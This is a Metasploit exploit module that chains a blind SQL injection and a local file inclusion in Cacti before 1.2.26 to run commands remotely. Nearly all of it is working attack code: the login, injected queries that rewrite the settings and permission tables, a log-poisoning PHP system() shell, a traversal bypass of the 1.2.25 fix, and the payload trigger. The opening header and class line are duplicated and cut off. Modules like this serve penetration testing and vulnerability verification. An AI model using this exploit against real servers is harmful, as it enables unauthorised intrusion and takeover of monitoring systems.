##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exp ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::SQLi
include Msf::Exploit::FileDropper
prepend Msf::Exploit::Remote::AutoCheck

class CactiError < StandardError; end
class CactiNotFoundError < CactiError; end
class CactiVersionNotFoundError < CactiError; end
class CactiNoAccessError < CactiError; end
class CactiCsrfNotFoundError < CactiError; end
class CactiLoginError < CactiError; end

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Cacti RCE via SQLi in pollers.php',
'Description' => %q{
This exploit module leverages a SQLi (CVE-2023-49085) and a LFI
(CVE-2023-49084) vulnerability in Cacti versions prior to 1.2.26 to
achieve RCE. Authentication is needed and the account must have access
to the vulnerable PHP script (`pollers.php`). This is granted by
setting the `Sites/Devices/Data` permission in the `General
Administration` section.
},
'License' => MSF_LICENSE,
'Author' => [
'Aleksey Solovev', # Initial research and discovery
'Christophe De La Fuente' # Metasploit module
],
'References' => [
[ 'URL', 'https://github.com/Cacti/cacti/security/advisories/GHSA-vr3c-38wh-g855'], # SQLi
[ 'URL', 'https://github.com/Cacti/cacti/security/advisories/GHSA-pfh9-gwm6-86vp'], # LFI (RCE)
[ 'CVE', '2023-49085'], # SQLi
[ 'CVE', '2023-49084'] # LFI (RCE)
],
'Platform' => ['unix linux win'],
'Privileged' => false,
'Arch' => ARCH_CMD,
'Targets' => [
[
'Linux Command',
{
'Arch' => ARCH_CMD,
'Platform' => [ 'unix', 'linux' ]
}
],
[
'Windows Command',
{
'Arch' => ARCH_CMD,
'Platform' => 'win'
}
]
],
'DefaultOptions' => {
'SqliDelay' => 3
},
'DisclosureDate' => '2023-12-20',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [CONFIG_CHANGES, IOC_IN_LOGS]
}
)
)

register_options(
[
OptString.new('USERNAME', [ true, 'User to login with', 'admin']),
OptString.new('PASSWORD', [ true, 'Password to login with', 'admin']),
OptString.new('TARGETURI', [ true, 'The base URI of Cacti', '/cacti'])
]
)
end

def sqli
@sqli ||= create_sqli(dbms: SQLi::MySQLi::TimeBasedBlind) do |sqli_payload|
sqli_final_payload = '"'
sqli_final_payload << ';select ' unless sqli_payload.start_with?(';') || sqli_payload.start_with?(' and')
sqli_final_payload << "#{sqli_payload};select * from poller where 1=1 and '%'=""
send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'pollers.php'),
'method' => 'POST',
'keep_cookies' => true,
'vars_post' => {
'__csrf_magic' => @csrf_token,
'name' => 'Main Poller',
'hostname' => 'localhost',
'timezone' => '',
'notes' => '',
'processes' => '1',
'threads' => '1',
'id' => '2',
'save_component_poller' => '1',
'action' => 'save',
'dbhost' => sqli_final_payload
},
'vars_get' => {
'header' => 'false'
}
)
end
end

def get_version(html)
# This will return an empty string if there is no match
version_str = html.xpath('//div[@class="versionInfo"]').text
unless version_str.include?('The Cacti Group')
raise CactiNotFoundError, 'The web server is not running Cacti'
end
unless version_str.match(/Version (?<version>d{1,2}.d{1,2}.d{1,2})/)
raise CactiVersionNotFoundError, 'Could not detect the version'
end

Regexp.last_match[:version]
end

def get_csrf_token(html)
html.xpath('//form/input[@name="__csrf_magic"]/@value').text
end

def do_login
if @csrf_token.blank? || @cacti_version.blank?
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'index.php'),
'method' => 'GET',
'keep_cookies' => true
)
if res.nil?
raise CactiNoAccessError, 'Could not access `index.php` - no response'
end

html = res.get_html_document
if @csrf_token.blank?
print_status('Getting the CSRF token to login')
@csrf_token = get_csrf_token(html)
if @csrf_token.empty?
# raise an error since without the CSRF token, we cannot login
raise CactiCsrfNotFoundError, 'Cannot get the CSRF token'
else
vprint_good("CSRF token: #{@csrf_token}")
end
end

if @cacti_version.blank?
print_status('Getting the version')
begin
@cacti_version = get_version(html)
vprint_good("Version: #{@cacti_version}")
rescue CactiError => e
# We can still log in without the version
print_bad("Could not get the version, the exploit might fail: #{e}")
end
end
end

print_status("Attempting login with user `#{datastore['USERNAME']}` and password `#{datastore['PASSWORD']}`")
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'index.php'),
'method' => 'POST',
'keep_cookies' => true,
'vars_post' => {
'__csrf_magic' => @csrf_token,
'action' => 'login',
'login_username' => datastore['USERNAME'],
'login_password' => datastore['PASSWORD']
}
)
raise CactiNoAccessError, 'Could not login - no response' if res.nil?
raise CactiLoginError, "Login failure - unexpected HTTP response code: #{res.code}" unless res.code == 302

print_good('Logged in')
end

def check
# Step 1 - Check if the target is Cacti and get the version
print_status('Checking Cacti version')
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'index.php'),
'method' => 'GET',
'keep_cookies' => true
)
return CheckCode::Unknown('Could not connect to the web server - no response') if res.nil?

html = res.get_html_document
begin
@cacti_version = get_version(html)
version_msg = "The web server is running Cacti version #{@cacti_version}"
rescue CactiNotFoundError => e
return CheckCode::Safe(e.message)
rescue CactiVersionNotFoundError => e
return CheckCode::Unknown(e.message)
end

if Rex::Version.new(@cacti_version) < Rex::Version.new('1.2.26')
print_good(version_msg)
else
return CheckCode::Safe(version_msg)
end

# Step 2 - Login
@csrf_token = get_csrf_token(html)
return CheckCode::Unknown('Could not get the CSRF token from `index.php`') if @csrf_token.empty?

begin
do_login
rescue CactiError => e
return CheckCode::Unknown("Login failed: #{e}")
end

@logged_in = true

# Step 3 - Check if the user has enough permissions to reach `pollers.php`
print_status('Checking permissions to access `pollers.php`')
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'pollers.php'),
'method' => 'GET',
'keep_cookies' => true,
'headers' => {
'X-Requested-With' => 'XMLHttpRequest'
}
)
return CheckCode::Unknown('Could not access `pollers.php` - no response') if res.nil?
return CheckCode::Safe('Could not access `pollers.php` - insufficient permissions') if res.code == 401
return CheckCode::Unknown("Could not access `pollers.php` - unexpected HTTP response code: #{res.code}") unless res.code == 200

# Step 4 - Check if it is vulnerable to SQLi
print_status('Attempting SQLi to check if the target is vulnerable')
return CheckCode::Safe('Blind SQL injection test failed') unless sqli.test_vulnerable

CheckCode::Vulnerable
end

def get_ext_link_id
# Get an unused External Link ID with a time-based SQLi
@ext_link_id = rand(1000..9999)
loop do
_res, elapsed_time = Rex::Stopwatch.elapsed_time do
sqli.raw_run_sql("if(id,sleep(#{datastore['SqliDelay']}),null) from external_links where id=#{@ext_link_id}")
end
break if elapsed_time < datastore['SqliDelay']

@ext_link_id = rand(1000..9999)
end
vprint_good("Got external link ID #{@ext_link_id}")
end

def exploit
# `#do_login` will take care of populating `@csrf_token` and `@cacti_version`
unless @logged_in
begin
do_login
rescue CactiError => e
fail_with(Failure::NoAccess, "Login failure: #{e}")
end
end

@log_file_path = "log/cacti#{rand(1..999)}.log"
print_status("Backing up the current log file path and adding a new path (#{@log_file_path}) to the `settings` table")
@log_setting_name_bak = '_path_cactilog'
sqli.raw_run_sql(";update settings set name='#{@log_setting_name_bak}' where name='path_cactilog'")
@do_settings_cleanup = true
sqli.raw_run_sql(";insert into settings (name,value) values ('path_cactilog','#{@log_file_path}')")
register_file_for_cleanup(@log_file_path)

print_status("Inserting the log file path `#{@log_file_path}` to the external links table")
log_file_path_lfi = "../../#{@log_file_path}"
# Some specific path tarversal needs to be prepended to bypass the v1.2.25 fix in `link.php` (line 79):
# $file = $config['base_path'] . "/include/content/" . str_replace('../', '', $page['contentfile']);
log_file_path_lfi = "....//....//#{@log_file_path}" if @cacti_version && Rex::Version.new(@cacti_version) == Rex::Version.new('1.2.25')
get_ext_link_id
sqli.raw_run_sql(";insert into external_links (id,sortorder,enabled,contentfile,title,style) values (#{@ext_link_id},2,'on','#{log_file_path_lfi}','Log-#{rand_text_numeric(3..5)}','CONSOLE')")
@do_ext_link_cleanup = true

print_status('Getting the user ID and setting permissions (it might take a few minutes)')
user_id = sqli.run_sql("select id from user_auth where username='#{datastore['USERNAME']}'")
fail_with(Failure::NotFound, 'User ID not found') unless user_id =~ (/Ad+/)
sqli.raw_run_sql(";insert into user_auth_realm (realm_id,user_id) values (#{10000 + @ext_link_id},#{user_id})")
@do_perms_cleanup = true

print_status('Logging in again to apply new settings and permissions')
# Keep a copy of the cookie_jar and the CSRF token to be used later by the cleanup routine and remove all cookies to login again.
# This is required since this new session will block after triggering the payload and we won't be able to reuse it to cleanup.
cookie_jar_bak = cookie_jar.clone
cookie_jar.clear
csrf_token_bak = @csrf_token
# Setting `@csrf_token` to nil will force `#do_login` to get a fresh CSRF token
@csrf_token = nil
begin
do_login
rescue CactiError => e
fail_with(Failure::NoAccess, "Login failure: #{e}")
end

print_status('Poisoning the log')
header_name = rand_text_alpha(1).upcase
sqli.raw_run_sql(" and updatexml(rand(),concat(CHAR(60),'?=system($_SERVER[\'HTTP_#{header_name}\']);?>',CHAR(126)),null)")

print_status('Triggering the payload')
# Expecting no response
send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'link.php'),
'method' => 'GET',
'keep_cookies' => true,
'headers' => {
header_name => payload.encoded
},
'vars_get' => {
'id' => @ext_link_id,
'headercontent' => 'true'
}
}, 0)

# Restore the cookie_jar and the CSRF token to run cleanup without being blocked
cookie_jar.clear
self.cookie_jar = cookie_jar_bak
@csrf_token = csrf_token_bak
end

def cleanup
super

if @do_ext_link_cleanup
print_status('Cleaning up external link using SQLi')
sqli.raw_run_sql(";delete from external_links where id=#{@ext_link_id}")
end

if @do_perms_cleanup
print_status('Cleaning up permissions using SQLi')
sqli.raw_run_sql(";delete from user_auth_realm where realm_id=#{10000 + @ext_link_id}")
end

if @do_settings_cleanup
print_status('Cleaning up the log path in `settings` table using SQLi')
sqli.raw_run_sql(";delete from settings where name='path_cactilog' and value='#{@log_file_path}'")
sqli.raw_run_sql(";update settings set name='path_cactilog' where name='#{@log_setting_name_bak}'")
end
end
end